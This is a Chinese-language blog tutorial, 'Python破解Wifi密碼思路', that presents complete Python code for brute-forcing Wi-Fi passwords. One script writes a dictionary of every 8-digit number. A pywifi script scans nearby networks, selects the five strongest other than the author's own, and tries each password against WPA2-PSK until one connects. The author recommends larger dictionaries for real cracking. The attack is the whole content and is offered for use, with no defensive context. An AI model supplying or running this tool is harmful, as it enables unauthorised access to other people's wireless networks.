Python破解Wifi密碼思路

一、前言說明

　　本機運行環境：系統環境Win10，運行環境Python3.6，運行工具Pycharm

　　需要Python的包有：pywifi

　　這是一種暴力破解wifi的模式，需要的時間比較長，本文主要提供一個破解思路

二、思路介紹

　　先生成一個密碼字典（此步驟也可以從網上下載字典）

　　迴圈用密碼字典的每個密碼去嘗試連接Wifi，直到成功

三、源碼設計

　　1. 密碼字典TXT文件生成，本文提供的比較簡單，實用破解可以根據一般密碼設置，去生成比較大比較全的密碼字典

　　一般設置密碼規則，可以參照這個博客寫的內容：https://www.cnblogs.com/lifengfneg/p/5992649.html

　　以下提供簡單8位純數字的字典生成方案代碼GetWifiPsdDic.py　　

 1 import itertools as its
 2 
 3 
 4 if __name__ == '__main__':
 5     words_num = "1234567890"
 6     words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
 7     r = its.product(words_num, repeat=8)
 8     dic = open("password-8位數字.txt", "w")
 9     for i in r:
10         dic.write("".join(i))
11         dic.write("".join("\n"))
12     dic.close()

　　　　2. 暴力破解密碼，用時較長GetWifiPsd.py

 1 import pywifi
 2 
 3 from pywifi import const  # 引用一些定義
 4 
 5 import time
 6 
 7 
 8 def getwifi(wifilist, wificount):
 9     wifi = pywifi.PyWiFi()  # 抓取網卡介面
10     ifaces = wifi.interfaces()[0]  # 獲取網卡
11     ifaces.scan()
12     time.sleep(8)
13     bessis = ifaces.scan_results()
14     allwifilist = []
15     namelist = []
16     ssidlist = []
17     for data in bessis:
18         if data.ssid not in namelist:  # 去掉重覆的WIFI名稱
19             namelist.append(data.ssid)
20             allwifilist.append((data.ssid, data.signal))
21     sorted(allwifilist, key=lambda st: st[1], reverse=True)
22     time.sleep(1)
23     n = 0
24     if len(allwifilist) is not 0:
25         for item in allwifilist:
26             if (item[0] not in ssidlist) & (item[0] not in wifilist):
27                 n = n + 1
28                 if n <= wificount:
29                     ssidlist.append(item[0])
30     print(allwifilist)
31     return ssidlist
32 
33 
34 def getifaces():
35     wifi = pywifi.PyWiFi()  # 抓取網卡介面
36     ifaces = wifi.interfaces()[0]  # 獲取網卡
37     ifaces.disconnect()  # 斷開無限網卡連接
38     return ifaces
39 
40 
41 def testwifi(ifaces, ssidname, password):
42     profile = pywifi.Profile()  # 創建wifi連接文件
43     profile.ssid = ssidname  # 定義wifissid
44     profile.auth = const.AUTH_ALG_OPEN  # 網卡的開放
45     profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密演算法
46     profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
47     profile.key = password  # wifi密碼
48     ifaces.remove_all_network_profiles()  # 刪除其他所有配置文件
49     tmp_profile = ifaces.add_network_profile(profile)  # 載入配置文件
50     ifaces.connect(tmp_profile)  # 連接wifi
51     time.sleep(5)  # 5秒內能否連接上
52     if ifaces.status() == const.IFACE_CONNECTED:
53         return True
54     else:
55         return False
56 
57 
58 def beginwork(wifinamelist):
59     ifaces = getifaces()
60     path = r"password-8位數字.txt"
61     # path = r"password-常用密碼.txt"
62     files = open(path, 'r')
63     while True:
64         try:
65             password = files.readline()
66             password = password.strip('\n')
67             if not password:
68                 break
69             for wifiname in wifinamelist:
70                 print("正在嘗試：" + wifiname + "," + password)
71                 if testwifi(ifaces, wifiname, password):
72                     print("Wifi賬號:" + wifiname + "，Wifi密碼:" + password)
73                     wifinamelist.remove(wifiname)
74                     break
75             if not wifinamelist:
76                 break
77         except:
78             continue
79     files.close()
80 
81 
82 if __name__ == '__main__':
83     wifinames_e = ["", "Vrapile"]  # 排除不破解的wifi名字
84     wifinames = getwifi(wifinames_e, 5)
85     print(wifinames)
86     beginwork(wifinames)

四、最後小結

　　上文生成字典有很多冗餘密碼成分，會大大加長破解時間，實用時可以更改密碼生成方式
